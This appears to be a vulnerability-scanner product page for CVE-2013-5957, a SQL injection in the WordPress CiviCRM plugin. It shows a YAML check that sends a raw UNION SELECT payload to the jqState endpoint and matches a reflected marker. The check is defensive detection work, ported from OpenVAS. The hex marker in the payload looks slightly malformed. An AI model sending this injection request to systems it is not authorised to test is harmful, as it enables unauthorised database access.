CiviCRM — 1 vulnerability check

noctis ships 1 vulnerability check for CiviCRM, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

WordPress CiviCRM SQL Injection (_value parameter)

CVECVE-2013-5957
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectiontcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/civicrm/CVE-2013-5957.yaml

Detects CVE-2013-5957 by sending a UNION SELECT payload to the CiviCRM civicrm/ajax/jqState endpoint and confirming the reflected sql-injection-test marker together with the `name` field in the HTTP response.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /?page=CiviCRM&q=civicrm/ajax/jqState/?q=civicrm/ajax/jqState&_value=?q=civicrm/ajax/…
  2. Checks resp.banner for name
  3. Checks resp.banner for sql-injection-test → finding QoD 75: CiviCRM SQLi confirmed — UNION SELECT payload on the jqState endpoint reflected the sql-injection-test marker (with the name field) at …:…

References:

Feed source — tests/vulnerabilities/civicrm/CVE-2013-5957.yaml
# WordPress CiviCRM — SQL Injection (CVE-2013-5957)
#
# The CiviCRM plugin for WordPress fails to sanitize the `_value` parameter of
# the civicrm/ajax/jqState endpoint before using it in an SQL query. An
# unauthenticated attacker injects a UNION SELECT that reflects a marker string
# into the response, confirming injection.
#
# Ported from OpenVAS/Greenbone NVT
# 2013/gb_wordpress_civicrm_mult_sql_injection_vuln.nasl (OID 1.3.6.1.4.1.25623.1.0.804157,
# GPL-2.0-only). The full UNION SELECT request line is reproduced verbatim from the
# plugin, including the concat(0x...) marker column; the plugin confirms the finding when
# the response reflects the `sql-injection-test` marker and the `name` field (extra_check).
#
# The payload carries URL-encoded tokens (`%20`) and raw `concat(...)` syntax that reqwest
# would normalise, so the request is sent verbatim over tcp_connect (HTTP/1.0) and the
# reflected marker is matched on resp.banner.
uid: 3fe0dcbd-c5a0-438f-8f18-30c57fe8779d
name: "WordPress CiviCRM SQL Injection (_value parameter)"
description: |
  Detects CVE-2013-5957 by sending a UNION SELECT payload to the CiviCRM
  civicrm/ajax/jqState endpoint and confirming the reflected sql-injection-test marker
  together with the `name` field in the HTTP response.
cves: [CVE-2013-5957]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [civicrm, wordpress, sqli, openvas, web-application-abuses]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-5957"
  - "OpenVAS/Greenbone NASL 2013/gb_wordpress_civicrm_mult_sql_injection_vuln.nasl (OID 1.3.6.1.4.1.25623.1.0.804157, GPL-2.0-only)"

steps:
  # Verbatim NASL request: the full UNION SELECT payload including the concat(0x...)
  # marker column — NOT a truncated prefix.
  - id: sqli-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /?page=CiviCRM&q=civicrm/ajax/jqState/?q=civicrm/ajax/jqState&_value=?q=civicrm/ajax/jqState&_value=-1%20UNION%20SELECT%201,concat(0x673716C2D696E6A656374696F6E2D74657374) HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: resp

  # NASL extra_check: the response must carry the `name` field (the jqState AJAX shape).
  - id: fingerprint
    action: match
    source: resp.banner
    pattern: "name"
    store_as: fp

  # NASL pattern: the injected marker. Gated on the extra_check so a bare jqState
  # response without reflection does not fire.
  - id: confirm-sqli
    action: match
    source: resp.banner
    pattern: "sql-injection-test"
    on_match:
      condition: "fp.matched"
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "CiviCRM SQLi confirmed — UNION SELECT payload on the jqState endpoint reflected the sql-injection-test marker (with the name field) at {{target_host}}:{{port}}"

View these feeds on GitHub